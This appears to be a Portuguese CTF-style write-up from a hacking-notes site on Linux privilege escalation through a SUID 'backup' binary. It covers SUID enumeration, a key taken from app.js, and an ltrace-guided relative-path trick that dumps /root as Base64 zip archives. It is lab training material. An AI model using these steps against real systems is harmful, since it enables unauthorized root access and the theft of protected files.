> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/suid/suid-backup-binary-linux-privilege-escalation.md).

# Binário SUID (Backup) - Escalonamento de Privilégios no Linux

## O que é

Binários SUID são executados com os privilégios de seu proprietário, geralmente root. Um binário SUID vulnerável, desatualizado ou excessivamente flexível pode ler arquivos protegidos, abrir uma shell privilegiada ou executar código controlado pelo atacante. Esta página específica foca em **Binário SUID (Backup)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Exemplos

Para procurar arquivos com o bit SUID habilitado, o seguinte comando é usado:

```bash
find / -perm -4000 2>/dev/null
```

Isso nos permite encontrar um binário chamado `backup`.

<figure><img src="/files/b2c711ab935aaf212b516da2fa5a62e5238c050a" alt=""><figcaption></figcaption></figure>

O proprietário do binário é `root`, o que significa que ele é executado com privilégios de root.

<figure><img src="/files/64f37da8c89e84b364db2d8525f798c888b7af25" alt=""><figcaption></figcaption></figure>

Quando tentamos executar esse binário diretamente, nada acontece. No entanto, ao testar diferentes entradas, descobrimos que ele aceita uma string de três caracteres separados por espaços, o que revela as funções disponíveis:

```bash
/usr/local/bin/backup a d g
```

<figure><img src="/files/f01540cb294aa2aa84029092c8e46e976dcc1147" alt=""><figcaption></figcaption></figure>

Quando olhamos para o `app.js` arquivo, encontramos informações sobre como usar o binário, bem como uma chave necessária para sua execução. A chave está localizada no topo do arquivo.

<figure><img src="/files/db3b3d2b6c3361887425731dda0deeddca6c18ac" alt=""><figcaption></figcaption></figure>

Para usar o binário, precisamos fornecer a chave, seguida do caminho do diretório para salvar.

`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

<figure><img src="/files/3dd6f5a130eb4568f69a02e787da9eab61d246e4" alt=""><figcaption></figcaption></figure>

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```

Isso gera uma saída em Base64.

<figure><img src="/files/ca81bf5d55ee69961d83dbab1b23bce4f712d964" alt=""><figcaption></figcaption></figure>

A saída em Base64 pode ser decodificada em um `.zip` arquivo usando o seguinte comando:

{% code overflow="wrap" %}

```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

<figure><img src="/files/9d4ba67b1305c8b0a7de2524cfa8cd4327a520cd" alt=""><figcaption></figcaption></figure>

O arquivo zip é protegido por senha. Usamos a senha encontrada anteriormente

* senha: `magicword`

No entanto, o `root.txt` arquivo contido no arquivo compactado é uma isca (beco sem saída).

<figure><img src="/files/e5660e53d539b249cb610d32137189907cf35bb0" alt=""><figcaption></figcaption></figure>

## Análise detalhada com `ltrace`

Usando `ltrace`, observamos que o binário compara o caminho `/root` com o fornecido no argumento. Se os caminhos coincidirem, ele exibe um desenho de troll.

<figure><img src="/files/51c40c981073eea5b7c05e49d2ec8f88190ca943" alt=""><figcaption></figcaption></figure>

Para contornar essa verificação, executamos o binário a partir da raiz (`/`) solicitando um backup de `root`

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```

<figure><img src="/files/9a2d2f0d3128354523ae92414c6612d1dbf33817" alt=""><figcaption></figcaption></figure>

A nova versão também está em Base64. Decodificamos para obter o conteúdo final:

{% code overflow="wrap" %}

```bash
echo "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" | base64 -d > root.zip
```

{% endcode %}

### Flag root.txt :)

Ao extrair o arquivo final, acessamos o conteúdo desejado.

<figure><img src="/files/9454ba4a6389bf85afe533ba6c589b1dacc3a9ad" alt=""><figcaption></figcaption></figure>


---

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